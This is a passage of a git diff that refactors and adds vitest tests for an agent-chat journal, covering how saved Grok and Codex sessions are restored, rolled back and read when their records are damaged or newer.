src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts create mode 100644 src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts create mode 100644 src/main/runtime/rpc/methods/structured-agent-session-at-rest-context.test.ts create mode 100644 src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts create mode 100644 src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts create mode 100644 src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts create mode 100644 tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts create mode 100644 tests/e2e/cross-version-wire/released-chat-continuation.ts create mode 100644 tests/e2e/cross-version-wire/released-chat-queue.ts create mode 100644 tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts create mode 100644 tests/e2e/cross-version-wire/released-chat-writers.ts create mode 100644 tests/e2e/journal-restored-consumers.unit.test.ts diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index c9d5dc45a03..6c0f6aaf619 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -369,7 +369,6 @@ 2 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-claude-subagent-row.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-owed-work-release.test.ts 3 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-command.test.ts -1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-quit.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-restart-cap.test.ts @@ -419,7 +418,6 @@ 1 test-no-real-time-wait:src/main/runtime/restored-pane-start-cli-handles.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/methods/agent-launch-instant-tab.test.ts 2 test-no-real-time-wait:src/main/runtime/rpc/methods/agent-launch-restart-replay.test.ts -1 test-no-real-time-wait:src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-ack-output-budget.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-input-sequence-replay.test.ts 2 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-source-range-request.test.ts @@ -1301,7 +1299,7 @@ 4 test-timeout-needs-reason:src/main/managed-server/lifecycle/orcad-managed-tunnel-transport-real-openssh.test.ts 3 test-timeout-needs-reason:src/main/native-chat/agent-model-catalog/agent-model-catalog-probe-runner.test.ts 5 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-queued-stop.test.ts -3 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts +2 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-turn-end.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-interrupted-continuation.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-status-feed-children.test.ts diff --git a/src/main/acp/acp-structured-host-restore-failed.test.ts b/src/main/acp/acp-structured-host-restore-failed.test.ts index 77a60307d11..008747fbb9f 100644 --- a/src/main/acp/acp-structured-host-restore-failed.test.ts +++ b/src/main/acp/acp-structured-host-restore-failed.test.ts @@ -11,7 +11,7 @@ import { HOST_TEST_SESSION as SESSION } from '../native-chat/agent-session-wire/ import type { AcpScriptedAgent } from './acp-scripted-agent.test-support' import { GROK, GROK_CONFIG_OPTIONS, PROVIDER_SESSION } from './acp-structured-adapter.test-support' import { ACP_HANDLE_TRANSPORT } from './acp-structured-agent-definitions' -import { replayJournal } from '../native-chat/agent-session-journal/journal-open' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' import { AgentSessionJournal } from '../native-chat/agent-session-journal/journal-store' import { createAcpStructuredLaunchResolver } from '../runtime/structured-agent-launch-composition.test-support' import { @@ -83,7 +83,7 @@ async function openRestoreRig(code: number, message: string) { const { rig, host, store, journalDatabase } = opened resolver.resolve = createAcpStructuredLaunchResolver(GROK, { store, - readJournal: (sessionId) => replayJournal(journalDatabase.db, sessionId), + readJournal: (sessionId) => restoreJournal(journalDatabase.db, sessionId), resolveWorkspacePath: async () => '/workspace', resolveEnvironment: async () => ({ PATH: '/usr/bin' }), resolveCommand: () => '/fake/grok' diff --git a/src/main/acp/acp-structured-launch-resolution.test.ts b/src/main/acp/acp-structured-launch-resolution.test.ts index 79baa2313bb..913f5ea6cd2 100644 --- a/src/main/acp/acp-structured-launch-resolution.test.ts +++ b/src/main/acp/acp-structured-launch-resolution.test.ts @@ -10,7 +10,17 @@ import { } from '../../shared/agent-session-provider-handle' import type { AgentSessionRecord } from '../../shared/agent-session-record' import { agentSessionRecordFixture } from '../../shared/agent-session-record.test-fixture' +import { replayJournal, restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { + openTestJournalHostDatabase, + closeTestJournalHostDatabase, + publishTestJournalEpoch, + insertTestJournalRow, + insertTestJournalRowJson +} from '../native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalLoad } from '../native-chat/agent-session-journal/journal-open' +import { publishJournalOutcomeEpoch } from '../native-chat/agent-session-journal/journal-outcome-write' +import type { JournalRow } from '../native-chat/agent-session-journal/journal-row-schema' import { createJournalReducerState } from '../native-chat/agent-session-journal/journal-reducer' import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' import { @@ -78,6 +88,153 @@ function resolver(record: AgentSessionRecord, readJournal: () => JournalLoad | n } describe('ACP launch resolution', () => { + it('preserves resume and loss-warning decisions through a restore and an unreadable tail', async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-acp-saved-read-')) + const database = openTestJournalHostDatabase(root) + try { + const handle: AgentSessionProviderHandle = { + transport: 'acp', + agent: 'grok', + nativeId: 'acp-1' + } + const lostKey = agentSessionProviderHandleKey({ ...handle, nativeId: 'acp-lost' }) + const record = grokRecord({ + providerHandleChain: [ + { + linkId: 'head', + origin: 'created', + mintedAtFence: 1, + observedAt: 1, + handle, + replaces: { key: lostKey, reason: 'restore-failed', replacedAt: 1 } + } + ] + }) + publishTestJournalEpoch(database.db, identity.sessionId, 'epoch-1') + insertTestJournalRow(database.db, identity.sessionId, { + v: 4, + epoch: 'epoch-1', + seq: 1, + fence: 1, + ts: 1, + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'opaque', agent: 'grok', value: 'acp-1' } + }) + const turn = [...journalWithTurns('acp-1').state.items.values()][0]! + const turnIdentity = createLegacyProviderTimelineIdentityScheme({ + agent: 'grok', + sessionId: identity.sessionId + }).item({ + namespace: 'acp-1', + family: 'item', + key: { source: 'provider', value: 'turn' }, + thread: 'acp-1' + }) + insertTestJournalRow(database.db, identity.sessionId, { + v: 4, + epoch: 'epoch-1', + seq: 2, + fence: 1, + ts: 2, + kind: 'item', + itemId: agentJournalItemKey(turnIdentity), + revision: 1, + body: turn.body + }) + const readDecisions = async (readJournal: () => JournalLoad | null) => { + const launch = await resolver(record, readJournal).resolve({ identity }) + return { + unsaved: launch.resume?.mayBeUnsaved(), + losses: launch.resume?.unannouncedLosses() + } + } + const full = () => replayJournal(database.db, identity.sessionId) + const restored = () => restoreJournal(database.db, identity.sessionId) + expect(await readDecisions(restored)).toStrictEqual(await readDecisions(full)) + expect(await readDecisions(restored)).toEqual({ unsaved: false, losses: [lostKey] }) + insertTestJournalRowJson(database.db, identity.sessionId, 3, '{damaged') + expect(await readDecisions(restored)).toStrictEqual(await readDecisions(full)) + expect(await readDecisions(restored)).toEqual({ unsaved: false, losses: [] }) + } finally { + await closeTestJournalHostDatabase(root) + rmSync(root, { recursive: true, force: true }) + } + }) + + it('reads an outcome chat from its records, and a newer one as unreadable', async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-acp-outcome-read-')) + const database = openTestJournalHostDatabase(root) + try { + const handle: AgentSessionProviderHandle = { + transport: 'acp', + agent: 'grok', + nativeId: 'acp-1' + } + const lostKey = agentSessionProviderHandleKey({ ...handle, nativeId: 'acp-lost' }) + const record = grokRecord({ + providerHandleChain: [ + { + linkId: 'head', + origin: 'created', + mintedAtFence: 1, + observedAt: 1, + handle, + replaces: { key: lostKey, reason: 'restore-failed', replacedAt: 1 } + } + ] + }) + const turn = [...journalWithTurns('acp-1').state.items.values()][0]! + const rows: JournalRow[] = [ + { + v: 4, + epoch: 'epoch-1', + seq: 1, + fence: 1, + ts: 1, + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'opaque', agent: 'grok', value: 'acp-1' } + }, + { + v: 4, + epoch: 'epoch-1', + seq: 2, + fence: 1, + ts: 2, + kind: 'item', + itemId: 'turn', + revision: 1, + body: turn.body + } + ] + // A chat this build created holds only records. + database.transaction((db) => { + publishTestJournalEpoch(db, identity.sessionId, 'epoch-1') + publishJournalOutcomeEpoch(db, identity.sessionId, 'epoch-1', rows) + }) + const readDecisions = async () => { + const launch = await resolver(record, () => + restoreJournal(database.db, identity.sessionId) + ).resolve({ identity }) + return { + unsaved: launch.resume?.mayBeUnsaved(), + losses: launch.resume?.unannouncedLosses() + } + } + expect(restoreJournal(database.db, identity.sessionId)?.state.items.has('turn')).toBe(true) + // The turn on acp-1 is found, so the exchange is saved; the loss has no warning yet. + expect(await readDecisions()).toEqual({ unsaved: false, losses: [lostKey] }) + // A newer build's records are unreadable here, never a missing chat. + database.db.prepare('UPDATE journal_outcome_epochs SET format = 2').run() + expect(restoreJournal(database.db, identity.sessionId)?.newer).toBeTruthy() + expect(await readDecisions()).toEqual({ unsaved: false, losses: [] }) + } finally { + await closeTestJournalHostDatabase(root) + rmSync(root, { recursive: true, force: true }) + } + }) + it('pins the record account home and searches the agent install dir', async () => { const { resolve, searched } = resolver(grokRecord()) const launch = await resolve({ identity }) diff --git a/src/main/acp/acp-structured-unknown-window-usage.test.ts b/src/main/acp/acp-structured-unknown-window-usage.test.ts new file mode 100644 index 00000000000..d466995345e --- /dev/null +++ b/src/main/acp/acp-structured-unknown-window-usage.test.ts @@ -0,0 +1,49 @@ +import { afterEach, describe, expect, it } from 'vitest' +import { readAgentJournalTurn } from '../../shared/agent-session-turn-record' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' +import { JournalWriteProjection } from '../native-chat/agent-session-journal/journal-write-projection' +import { closeProviderTimelineRigs } from '../native-chat/agent-session-timeline/provider-timeline-assembler-test-support' +import { HOST_TEST_SESSION as SESSION } from '../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { PROVIDER_SESSION, replyChunk, waitFor } from './acp-structured-adapter.test-support' +import { openAttachedHostRig, promptIdOf, send } from './acp-structured-host.test-support' + +afterEach(async () => { + JournalWriteProjection.verifyEachCommit = false + await closeProviderTimelineRigs() +}) + +describe('an ACP usage report with an unknown window', () => { + // The protocol allows `size: 0`; the saved reader drops that window as unusable. + it('keeps the turn running, and the live chat equals what a reload reads', async () => { + // Each commit then restores the chat from disk and fails the write if it differs from live. + JournalWriteProjection.verifyEachCommit = true + const rig = await openAttachedHostRig() + const { host } = rig + await send(host, 'hello') + const prompt = await rig.rig.frame('session/prompt') + const { agent } = rig.rig.child() + agent.notify('session/update', replyChunk(promptIdOf(prompt), 'Oak')) + agent.notify('session/update', { + sessionId: PROVIDER_SESSION, + update: { sessionUpdate: 'usage_update', used: 1_200, size: 0 } + }) + agent.notify('session/update', replyChunk(promptIdOf(prompt), ' tree')) + agent.reply(prompt, { stopReason: 'end_turn' }) + await rig.rig.settle() + await waitFor(async () => + expect((await rig.turns()).map((turn) => turn.state)).toEqual(['completed']) + ) + expect(rig.rig.child().exited).toBe(false) + expect((await rig.rows()).filter((row) => row.body.kind === 'status')).toEqual([]) + expect((await rig.turns()).at(-1)?.contextUsage).toBeUndefined() + + const loaded = restoreJournal(rig.journalDatabase.db, SESSION) + expect(loaded?.damage).toBeFalsy() + expect(loaded?.newer).toBeFalsy() + const saved = [...(loaded?.state.items.values() ?? [])].flatMap( + (item) => readAgentJournalTurn(item.body) ?? [] + ) + expect(saved).toEqual(await rig.turns()) + await host.close(SESSION, 'user-close') + }) +}) diff --git a/src/main/codex/codex-structured-journal-settlement-rollback.test.ts b/src/main/codex/codex-structured-journal-settlement-rollback.test.ts index 35a98d4eb00..21e4cbd9772 100644 --- a/src/main/codex/codex-structured-journal-settlement-rollback.test.ts +++ b/src/main/codex/codex-structured-journal-settlement-rollback.test.ts @@ -14,7 +14,7 @@ import { createCodexJournalTranslator } from './codex-structured-journal-transla import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' const SESSION = 'codex-atomic' -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) let root: string | undefined afterEach(async () => { @@ -83,20 +83,24 @@ it('rolls back the entire Codex exit settlement when a later row fails', async ( const diskBefore = liveTestJournalRows(database.db, SESSION) const sawEarlierInserts: number[] = [] const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - try { - return run(db) - } catch (error) { - sawEarlierInserts.push(liveTestJournalRows(db, SESSION).length - diskBefore.length) - expect(journal.snapshot()).toEqual(before) - expect(commits).not.toHaveBeenCalled() - expect( - published.every((snapshot) => JSON.stringify(snapshot) === JSON.stringify(before)) - ).toBe(true) - throw error - } - }) + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + try { + return run(db) + } catch (error) { + sawEarlierInserts.push(liveTestJournalRows(db, SESSION).length - diskBefore.length) + expect(journal.snapshot()).toEqual(before) + expect(commits).not.toHaveBeenCalled() + expect( + published.every((snapshot) => JSON.stringify(snapshot) === JSON.stringify(before)) + ).toBe(true) + throw error + } + }, + streamed, + committed + ) ) database.db.exec(`CREATE TEMP TRIGGER reject_codex_later BEFORE INSERT ON journal_rows WHEN NEW.session_id = '${SESSION}' AND NEW.seq > ${before.cursor.sequence + 1} diff --git a/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts b/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts index c87728533c9..1537abedcdf 100644 --- a/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts +++ b/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts @@ -1,98 +1,25 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity -} from '../../shared/agent-session-journal-types' -import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' -import { - readAgentJournalTurn, - readAgentJournalTurnOutcome -} from '../../shared/agent-session-turn-record' -import { createTrackedJournalOpener } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { - createDeferredStructuredAgentSessionEventSink, - type StructuredAgentSessionEventSink -} from '../native-chat/agent-session-wire/structured-agent-session-event-sink' -import type { CodexAppServerConnection } from './app-server/codex-app-server-connection-types' +import { describe, expect, it, vi } from 'vitest' +import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' import { createCodexJournalTranslator } from './codex-structured-journal-translation' import { CODEX_COMMAND_APPROVAL_METHOD, CODEX_USER_INPUT_METHOD, CodexPromptRegistry } from './codex-structured-prompt-replies' -import { createCodexStructuredNotificationRetry } from './codex-structured-notification-retry' -import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' -import type { CodexSession } from './codex-structured-session-state' import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' -const SESSION_ID = 'session-1' -const THREAD_ID = 'thread-abc' -const TURN_ID = 'turn-1' -const LIFECYCLE_KEY = 'legacy:codex:session-1:turn-lifecycle%3Aturn-1' -const USER_ITEM_ID = 'codex:thread-abc:turn-1:0' - -type Row = { key: string; body: AgentJournalItemBody } - -function recorder() { - const rows: Row[] = [] - const tombstones: string[] = [] - const sink: StructuredAgentSessionEventSink = { - appendItem: (identity: AgentJournalItemIdentity, body) => - rows.push({ key: agentJournalItemKey(identity), body }), - appendTombstone: (identity) => tombstones.push(agentJournalItemKey(identity)), - publish: () => {} - } - return { sink, rows, tombstones } -} - -function reduced(rows: readonly Row[]): Row[] { - const latest = new Map() - for (const row of rows) { - latest.set(row.key, row) - } - return [...latest.values()] -} - -function notification( - method: string, - params: unknown, - observedAt?: number -): CodexStructuredSessionEvent { - return { - type: 'notification', - sessionId: SESSION_ID, - threadId: THREAD_ID, - method, - params, - ...(observedAt !== undefined ? { observedAt } : {}) - } -} - -function translatorFor(tap: ReturnType, now?: () => number) { - return createCodexJournalTranslator({ - sink: tap.sink, - sessionId: SESSION_ID, - primaryThreadId: () => THREAD_ID, - ...(now ? { now } : {}) - }) -} - -const journals = createTrackedJournalOpener() -let root: string - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-codex-turn-lifecycle-')) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - vi.useRealTimers() -}) +import { + fixture, + SESSION_ID, + THREAD_ID, + TURN_ID, + USER_ITEM_ID, + journals, + notification, + recorder +} from './codex-turn-lifecycle-contract-test-fixture' describe('codex turn lifecycle rows', () => { it('binds a prompt without a provider turn id to the active turn before cleanup', () => { @@ -222,7 +149,7 @@ describe('codex turn lifecycle rows', () => { providerHandle: codexProviderHandle(THREAD_ID) }, now: () => 9_000, - stateDirectory: join(root, SESSION_ID) + stateDirectory: join(fixture.root, SESSION_ID) }) const deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) const translator = createCodexJournalTranslator({ @@ -238,17 +165,7 @@ describe('codex turn lifecycle rows', () => { const appended = journal.readSince(before) expect(appended.ok && appended.rows).toEqual([ - expect.objectContaining({ - kind: 'item', - ts: 1_000, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'running', - userItemId: USER_ITEM_ID, - startedAt: 1_000 - } - }) + expect.objectContaining({ kind: 'outcome', seq: before.sequence + 1 }) ]) expect(journal.snapshot().items).toEqual([ expect.objectContaining({ @@ -313,307 +230,4 @@ describe('codex turn lifecycle rows', () => { requestedAt: 900 }) }) - - it('keeps the verdict when a send echoed after completion revises the settled row', () => { - const tap = recorder() - const translator = createCodexJournalTranslator({ - sink: tap.sink, - sessionId: SESSION_ID, - primaryThreadId: () => THREAD_ID, - dispatchRequestOrigin: () => ({ requestedAt: 900, sequence: 0 }) - }) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle( - notification('turn/completed', { turn: { id: TURN_ID, status: 'failed' } }, 2_000) - ) - translator.handle( - notification( - 'item/started', - { - turn: { id: TURN_ID }, - item: { type: 'userMessage', id: 'user-1', clientId: 'client-1' } - }, - 2_100 - ) - ) - - // requestedAt distinguishes the post-echo revision from the original terminal row. - const lifecycle = reduced(tap.rows).find((row) => row.key === LIFECYCLE_KEY) - expect(lifecycle?.body).toMatchObject({ - kind: 'turn', - state: 'completed', - outcome: 'failure', - requestedAt: 900 - }) - }) - - it('carries the provider duration and the same user item onto the terminal row', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle( - notification( - 'turn/completed', - { turn: { id: TURN_ID, status: 'completed', durationMs: 3_250 } }, - 4_500 - ) - ) - - expect(tap.rows.at(-1)).toEqual({ - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'completed', - outcome: 'success', - userItemId: USER_ITEM_ID, - startedAt: 1_000, - completedAt: 4_500, - durationMs: 3_250 - } - }) - }) - - it.each([ - ['interrupted', 'interrupted', 'cancellation'], - ['failed', 'completed', 'failure'], - ['someFutureStatus', 'completed', undefined], - ['inProgress', 'completed', undefined] - ] as const)( - 'maps a %s turn status to a %s lifecycle with outcome %s', - (status, state, outcome) => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID, status } }, 2_000)) - - expect(tap.tombstones).toEqual([]) - expect(reduced(tap.rows)).toEqual([ - { - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state, - ...(outcome ? { outcome } : {}), - userItemId: USER_ITEM_ID, - startedAt: 1_000, - completedAt: 2_000 - } - } - ]) - } - ) - - it('records no outcome for a turn end that named no status', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 2_000)) - - const body = reduced(tap.rows).at(-1)?.body - expect(body).toMatchObject({ kind: 'turn', state: 'completed' }) - expect(readAgentJournalTurnOutcome(readAgentJournalTurn(body))).toBeNull() - }) - - it('stamps the host clock when a boundary arrives without a receipt time', () => { - const tap = recorder() - let clock = 10_000 - const translator = translatorFor(tap, () => (clock += 250)) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } })) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } })) - - expect(tap.rows.map((row) => row.body)).toMatchObject([ - { kind: 'turn', state: 'running', startedAt: 10_250 }, - { kind: 'turn', state: 'completed', startedAt: 10_250, completedAt: 10_500 } - ]) - }) - - it('writes only the end time, and no duration, when Codex reports neither', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 3_000)) - - expect(tap.rows).toEqual([ - { - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'completed', - userItemId: USER_ITEM_ID, - completedAt: 3_000 - } - } - ]) - }) - - it('replays an oversized backpressured notification with its original receipt time', async () => { - vi.useFakeTimers() - const connection = { - pauseReading: vi.fn(), - resumeReading: vi.fn() - } as unknown as CodexAppServerConnection - const translate = vi - .fn[0]['translate']>() - .mockReturnValueOnce({ accepted: false, reason: 'backpressure' }) - .mockReturnValue({ accepted: true }) - const retries = createCodexStructuredNotificationRetry({ - sessionFor: () => ({ connection, ended: false }) as CodexSession, - translate - }) - - expect( - retries.handle( - SESSION_ID, - 'turn/started', - { turn: { id: TURN_ID }, output: 'x'.repeat(9 * 1024 * 1024) }, - 1_000, - -1 - ) - ).toEqual({ accepted: false, reason: 'backpressure' }) - await vi.advanceTimersByTimeAsync(50) - - expect(translate.mock.calls.map((call) => call[4])).toEqual([1_000, 1_000]) - expect(translate.mock.calls.map((call) => call[5])).toEqual([-1, -1]) - expect(connection.resumeReading).not.toHaveBeenCalled() - }) - - it('restores historical turn rows with optional endpoints in milliseconds', () => { - const tap = recorder() - const translator = translatorFor(tap) - - expect( - translator.restoreThread(THREAD_ID, { - turns: [ - { - id: 'turn-done', - status: 'completed', - startedAt: 1_700_000_000, - completedAt: 1_700_000_042, - durationMs: 41_900, - items: [{ type: 'agentMessage', id: 'agent-done', text: 'done' }] - }, - { - id: 'turn-cut', - status: 'interrupted', - startedAt: 1_700_000_100, - completedAt: 1_700_000_101, - items: [] - }, - { - id: 'turn-failed', - status: 'failed', - startedAt: 1_700_000_150, - completedAt: 1_700_000_152, - durationMs: 2_400, - items: [] - }, - { - id: 'turn-unplaced', - status: 'someFutureStatus', - startedAt: 1_700_000_170, - completedAt: 1_700_000_171, - items: [] - }, - { id: 'turn-open', status: 'inProgress', startedAt: 1_700_000_200, items: [] }, - { id: 'turn-untimed', status: 'completed', items: [] } - ] - }) - ).toEqual({ accepted: true }) - - expect(tap.rows).toEqual([ - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-done', - body: { - kind: 'turn', - turnId: 'turn-done', - state: 'completed', - outcome: 'success', - userItemId: 'codex:thread-abc:turn-done:0', - startedAt: 1_700_000_000_000, - completedAt: 1_700_000_042_000, - durationMs: 41_900 - } - }, - expect.objectContaining({ body: expect.objectContaining({ kind: 'message' }) }), - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-cut', - body: { - kind: 'turn', - turnId: 'turn-cut', - state: 'interrupted', - outcome: 'cancellation', - userItemId: 'codex:thread-abc:turn-cut:0', - startedAt: 1_700_000_100_000, - completedAt: 1_700_000_101_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-failed', - body: { - kind: 'turn', - turnId: 'turn-failed', - state: 'completed', - outcome: 'failure', - userItemId: 'codex:thread-abc:turn-failed:0', - startedAt: 1_700_000_150_000, - completedAt: 1_700_000_152_000, - durationMs: 2_400 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-unplaced', - body: { - kind: 'turn', - turnId: 'turn-unplaced', - state: 'completed', - userItemId: 'codex:thread-abc:turn-unplaced:0', - startedAt: 1_700_000_170_000, - completedAt: 1_700_000_171_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-open', - body: { - kind: 'turn', - turnId: 'turn-open', - state: 'completed', - userItemId: 'codex:thread-abc:turn-open:0', - startedAt: 1_700_000_200_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-untimed', - body: { - kind: 'turn', - turnId: 'turn-untimed', - state: 'completed', - outcome: 'success', - userItemId: 'codex:thread-abc:turn-untimed:0' - } - } - ]) - expect(tap.tombstones).toEqual([]) - }) - - it('restores no lifecycle rows without a session identity to key them by', () => { - const tap = recorder() - const translator = createCodexJournalTranslator({ - sink: tap.sink, - primaryThreadId: () => THREAD_ID - }) - - translator.restoreThread(THREAD_ID, { - turns: [{ id: 'turn-done', status: 'completed', startedAt: 1, completedAt: 2, items: [] }] - }) - - expect(tap.rows).toEqual([]) - }) }) diff --git a/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts b/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts index 72e0a32e9e6..7f68e9bd03d 100644 --- a/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts +++ b/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts @@ -11,10 +11,7 @@ import { agentSessionFailureFact } from '../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../shared/agent-session-failure-words' import { AGENT_JOURNAL_THREAD_SCOPE } from '../../shared/agent-session-journal-types' import { structuredRewindCut } from '../native-chat/agent-session-wire/structured-rewind-cut' -import { - applyJournalRow, - createJournalReducerState -} from '../native-chat/agent-session-journal/journal-reducer' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' export function registerCodexCatchUpEchoTests(input: { chat: typeof catchUpChat @@ -122,15 +119,8 @@ export function registerCodexCatchUpEchoTests(input: { await c.open([...native, outside]) expect(c.journal.snapshot()).toEqual(whole) expect(c.journal.queuedMessages.get('draft')).toEqual(draft) - const replay = c.journal.readSince({ epoch: c.journal.epoch, sequence: 0 }) - if (!replay.ok || !draft) { - throw new Error('missing replay fixture') - } - const state = createJournalReducerState(SESSION, c.journal.epoch) - for (const row of replay.rows) { - applyJournalRow(state, row) - } - expect(state.queue.cards.get('draft')).toEqual(draft) + const restored = restoreJournal(c.db, SESSION) + expect(restored?.state.queue.cards.get('draft')).toEqual(draft) }) it('keeps native display identity after a real retained cut and disk reopen', async () => { diff --git a/src/main/codex/codex-structured-thread-catch-up.test.ts b/src/main/codex/codex-structured-thread-catch-up.test.ts index c743325e6d8..c635ac105f8 100644 --- a/src/main/codex/codex-structured-thread-catch-up.test.ts +++ b/src/main/codex/codex-structured-thread-catch-up.test.ts @@ -1,459 +1,176 @@ -import { projectStructuredItemsToNativeChat } from '../../shared/structured-agent-session-projection' import { registerCodexCatchUpEchoTests } from './codex-structured-thread-catch-up-echo.spec' - -import { mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it } from 'vitest' -import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' -import type { AgentSessionJournalIdentity } from '../../shared/agent-session-journal-types' -import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' -import { - closeTestJournalHostDatabase, - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' -import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { projectStructuredItemsToNativeChat } from '../../shared/structured-agent-session-projection' +import { expect, it } from 'vitest' import { createCodexJournalTranslator } from './codex-structured-journal-translation' -import { importLegacyTranscriptIntoJournal } from '../native-chat/agent-session-journal/journal-legacy-import' -import { 